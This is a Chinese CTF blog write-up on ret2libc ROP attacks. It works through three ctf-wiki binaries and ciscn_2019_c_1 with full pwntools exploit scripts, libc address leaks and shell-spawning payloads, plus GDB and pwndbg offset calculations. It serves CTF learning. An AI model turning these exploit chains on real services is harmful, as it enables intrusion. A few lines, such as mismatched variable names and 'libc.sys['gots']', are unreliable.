跳到主要内容

「PWN」BasicROP - Ret2Libc

· 阅读需 10 分钟
Muel - Nova
Anime Would PWN This WORLD into 2D
🤖AI Summary

总结

文章由作者nova撰写,主要分享了他在进行CTF(Capture The Flag)比赛中学习并应用ROP(Return-Oriented Programming)技术中的Ret2Libc攻击方法的经验。文章详细介绍了三个不同难度的Ret2Libc攻击实例,并提供了解决每个实例的方法和代码示例。

Ret2libc1

  • 目标是32位无保护的ELF文件;我们通过覆盖返回地址调用system函数来执行/bin/sh
  • 分析了如何正确计算缓冲区到栈顶的偏移量,并提供了使用GDB和pwndbg的两种方法。
  • 详细解释了为何应使用PLT表里的system地址。

Ret2libc2

  • 在Ret2libc1的基础上,通过手动输入构造的字符串来调用system函数。
  • 通过GETS函数输入,将/bin/sh字符串写入到BSS段的缓冲区地址,然后调用system。
  • 提供了两种不同的Payload及相关细节。

Ret2libc3

  • 演示通过延迟绑定泄露已经执行过的函数的真实地址并计算偏移,最终获取system和/bin/sh的地址。
  • 分析了如何泄露puts函数的地址,并计算出libc的基地址。
  • 提供了两个详细的EXP以及相关LIBC版本查找方法。

Advanced: ciscn_2019_c_1

  • 涉及64位程序,通过寄存器传参完成Ret2libc攻击。
  • 提供了完整的exploit代码,并指出在64位下需要注意栈帧平衡的问题。

特别感谢

  • 文章最后特别感谢了Mark,他详细指导了作者GDB的用法,并录制了教学视频。

通过这篇详尽的文章,读者可以系统地了解并掌握ROP中的Ret2Libc技术,逐步提升CTF比赛中的实战技能。

痛定思痛了属于是,连续几次比赛一题做不出来,得到了zbr爹的指点,决定自裁。

整。

ret2libc1

检查一下保护,没有Canary也没有PIE,32位ELF

在string列表里即看得到system也看得到/bin/sh

简单的构造一个函数覆盖返回地址即可

from pwn import *

context.log_level='DEBUG'
context.arch='amd64'
context.os='linux'

sh = process("./ret2libc1")
elf = ELF("./ret2libc1")

system_addr = 0x8048460 # plt
# system_addr = elf.plt["system"] # it works as well
binsh_addr = 0x08048720
sh.recvuntil(b"RET2LIBC >_<\n")

payload = b'A'*(0x6c+0x04) + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()

说一下一些点

  • system的地址应取plt表里的system,而不是string里看到的那个system。原因参见PLT / GOT - 动态绑定

  • 这题中在IDA中可以看到char s[100]; // [esp+1Ch] [ebp-64h] BYREF,距离ebp是0x64 bytes,但实际上却是0x6c bytes

    • 这里附上mark爹的解答

    • 那如何计算偏移呢?这里提供gdb和pwndbg的两种方法

      • gdb

        • 找到call _gets的地址,可以看到上面就是s

        • 我们在0x0804867B这里下一个断点

          gdb ./ret2libc
          b *0x0804867E
          r
          Breakpoint 2, 0x0804867e in main () at ret2libc1.c:27
          27 in ret2libc1.c
          LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          ──────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────
          EAX 0xffffcf3c ◂— 0x0
          EBX 0x0
          ECX 0xffffffff
          EDX 0xffffffff
          EDI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
          ESI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
          EBP 0xffffcfa8 ◂— 0x0
          ESP 0xffffcf20 —▸ 0xffffcf3c ◂— 0x0
          *EIP 0x804867e (main+102) —▸ 0xfffdade8 ◂— 0xfffdade8
          ────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────
          0x804867b <main+99> mov dword ptr [esp], eax
          ► 0x804867e <main+102> call gets@plt <gets@plt>
          arg[0]: 0xffffcf3c ◂— 0x0
          arg[1]: 0x0
          arg[2]: 0x1
          arg[3]: 0x0

          0x8048683 <main+107> mov eax, 0
          0x8048688 <main+112> leave
          0x8048689 <main+113> ret

          0x804868a nop
          0x804868c nop
          0x804868e nop
          0x8048690 <__libc_csu_init> push ebp
          0x8048691 <__libc_csu_init+1> push edi
          0x8048692 <__libc_csu_init+2> xor edi, edi
          ────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────
          00:0000│ esp 0xffffcf20 —▸ 0xffffcf3c ◂— 0x0
          01:0004│ 0xffffcf24 ◂— 0x0
          02:0008│ 0xffffcf28 ◂— 0x1
          03:000c│ 0xffffcf2c ◂— 0x0
          ... ↓ 2 skipped
          06:0018│ 0xffffcf38 —▸ 0xf7ffd000 ◂— 0x2bf24
          07:001c│ eax 0xffffcf3c ◂— 0x0
          ──────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────
          ► f 0 0x804867e main+102
          f 1 0xf7de7ee5 __libc_start_main+245
          f 2 0x80484f1 _start+33
          ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

          在寄存器[REGISTERS]中我们可以看到s的地址是0xffffcf3c,对于ESP的地址0xffffcf20的偏移是0x1c,这与我们在IDA中所看到的是一致的。同时,注意到EBP的地址0xffffcfa8,经过小学二年级的加减法即可得出EBP和ESP的偏移是0x88,那EBP与s的偏移也就是0x88-0x1c = 0x6c了,在IDA中却看到[ebp-64h],不李姐

      • pwnbdg

        这个我暂时没用太明白(),写完了去看看pwndbg的documents

        • 首先生成点垃圾字符

          pwndbg> cyclic 200
          aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
        • 再次运行程序,输入生成的垃圾字符

          pwndbg> r
          Starting program: /home/nova/Desktop/CTF/ctf-wiki/ret2libc/ret2libc1
          RET2LIBC >_<
          aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

          Program received signal SIGSEGV, Segmentation fault.
          0x62616164 in ?? ()
          LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          ──────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────
          EAX 0x0
          EBX 0x0
          ECX 0xf7fb4580 (_IO_2_1_stdin_) ◂— 0xfbad2288
          EDX 0xffffd004 —▸ 0xf7fe7b00 ◂— push eax /* 'Pj' */
          EDI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
          ESI 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
          EBP 0x62616163 ('caab')
          ESP 0xffffcfb0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
          EIP 0x62616164 ('daab')
          ────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────
          Invalid address 0x62616164
        • 此时看到它给出了一个Invalid address

          执行cyclic -l addr

          pwndbg> cyclic -l 0x62616164
          112

          112就是s对于返回地址的偏移值(非常的Amazing啊)

  • system函数也有返回地址,所以在中间要补一个函数,0xdeadbeef是我自己的恶趣味(),写p32(0)或者b"AAAA"就可以了、

  • 32位传参就是从栈上从右向左拿参数,64位前六个参数则需是通过寄存器rdi,rsi,rdx,rcx,r8,r9的顺序传参,剩余的则按照32位从右向左取栈

ret2libc2

这题在ret2libc1的基础上去掉了binsh字符串。也就是说,我们需要自己构建一个gets输入/bin/sh并作为system的参数引用。

vmmap中可以看到data这个内存页是可写的

0x804a000  0x804b000 rw-p     1000 1000   /home/nova/Desktop/CTF/ctf-wiki/ret2libc/ret2libc2

那么我们考虑将/bin/sh写入到bss段上的buf2

image-20211214121848183

思路很明显了:

  • 在程序的gets中覆盖返回地址到我们新的gets
  • 新的gets将输入存到buf2地址处,并返回到system函数
  • system函数调用buf2处的数据作为参数

接下来就是如何编写payload

给出两个exp。

EXP1

from pwn import *

sh = process('./ret2libc2')
elf = ELF("./ret2libc2")

get_plt = elf.plt["gets"]
system_plt = elf.plt["system"]
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

在这里,新构建的gets的返回地址是pop_ebx,主要目的是为了栈帧平衡

pop ebx; ret

pop ebx将栈顶数据取出存放至ebx,esp+4

ret将栈顶数据取出存放至eip,esp+4

这样esp就指向了我们的system_plt,对应的,0xdeadbeef作为system的返回地址,随便填

EXP2

from pwn import *

sh = process("./ret2libc2")
elf = ELF("./ret2libc2")

system_plt = elf.plt["system"]
buf_addr = 0x804a080
get_plt = elf.plt["gets"]

sh.recvuntil(b"you think ?")
payload = b'A'*(0x6c+0x04) + p32(get_plt) + p32(system_plt) + p32(buf_addr) + p32(buf_addr)
sh.sendline(payload)
sh.sendline("/bin/sh")
sh.interactive()

在这里,我们直接将system_plt作为gets的返回地址。

此时要注意的是,由于没有平衡栈帧,第一个p32(buf_addr)其实进行了一手复用,它既作为gets的参数,又作为system的返回地址。

ret2libc3

对于pwn来说,整明白了这个应该才算刚刚入门:(

没有system,没有binsh,靠延迟绑定泄露已经执行过函数的真实地址算出偏移与基地址搞到system和binsh的地址

在这里我们泄露puts的地址好了

首先搞到puts的plt和got表地址

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['_start']

覆盖main的返回地址到puts,参数为puts_got,返回到main

我们返回到main时最好返回到_start,若返回到main的话,溢出的偏移会**-8bytes**

程序入口_start -> _libc_start_main -> main

因为puts已经调用过一次,所以此时puts_got表存的内容就是puts的真实地址

payload = b'A'*112
payload += p32(puts_plt) + p32(main_addr) + p32(puts_got)
sh.recvuntil(b"it !?")
sh.sendline(payload)

puts_addr = u32(sh.recv()[:4]) # 32位ELF,所以切前四位即可
print("puts_addr: ", hex(puts_addr))

此时我们可以算出libc的偏移值

libc_base = puts_addr - libc.sys['gots']

有了偏移值,system和binsh的地址也就出来了

EXP1

from pwn import *

context.log_level='DEBUG'
context.arch='amd64'
context.os='linux'

sh = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("/usr/lib/i386-linux-gnu/libc-2.31.so")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['_start']

payload = b'A'*112
payload += p32(puts_plt) + p32(main_addr) + p32(puts_got)
sh.recvuntil(b"it !?")
sh.sendline(payload)

puts_addr = u32(sh.recv()[:4])
print("puts_addr: ", hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
print(hex(libc_base))
sys_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'A'*112
payload2 += p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
gdb.attach(sh, 'b gets')
sh.sendline(payload2)
sh.interactive()

EXP2

from pwn import *

context.log_level='DEBUG'
context.arch='amd64'
context.os='linux'

sh = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("/usr/lib/i386-linux-gnu/libc-2.31.so")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload = b'A'*112
payload += p32(puts_plt) + p32(main_addr) + p32(puts_got)
sh.recvuntil(b"it !?")
sh.sendline(payload)

puts_addr = u32(sh.recv()[:4])
print("puts_addr: ", hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
print(hex(libc_base))
sys_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'A'*104
payload2 += p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
gdb.attach(sh, 'b gets')
sh.sendline(payload2)
sh.interactive()

LIBC版本查找

虽然说现在题基本上都有libc.so,但是以防万一还是给一个求libc版本的方法

libc database search

使用方法很简单,因为libc的低十二位不会变,所以给出已泄露的函数的地址,就可以在这里找到对应的libc.so版本及相关Offset

image-20211214164955101

ciscn_2019_c_1

题目

大体上和ret2libc3相同,不过是64bits的,算是一个从32->64的转变的题目

直接上exp(本地)

from pwn import *

context.log_level='DEBUG'
context.arch='amd64'
context.os='linux'
sh = process("./ciscn_2019_c_1")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
elf = ELF("./ciscn_2019_c_1")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
encrypt_addr = elf.symbols['encrypt']
pop_rdi_ret = 0x0400c83
ret = 0x4006b9

sh.recvuntil(b"Input your choice!\n")
sh.sendline(b'1')

payload = b'A' * (0x50+0x08) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr)
sh.recvuntil("Input your Plaintext to be encrypted\n")
sh.sendline(payload)
sh.recvuntil("Ciphertext\n")
sh.recvline()
puts_addr = u64(sh.recvuntil('\n', drop=True).ljust(8, b'\x00'))
print(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A' * (0x50+0x08) + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(0)
sh.recvuntil(b"Input your Plaintext to be encrypted\n")
sh.sendline(payload2)
sh.interactive()

几个需要注意的点:

特别感谢

Mark爹可以说是手把手教了我GDB的用法,甚至录了个半小时的视频!直接三个响头的磕❤❤❤

Loading Comments...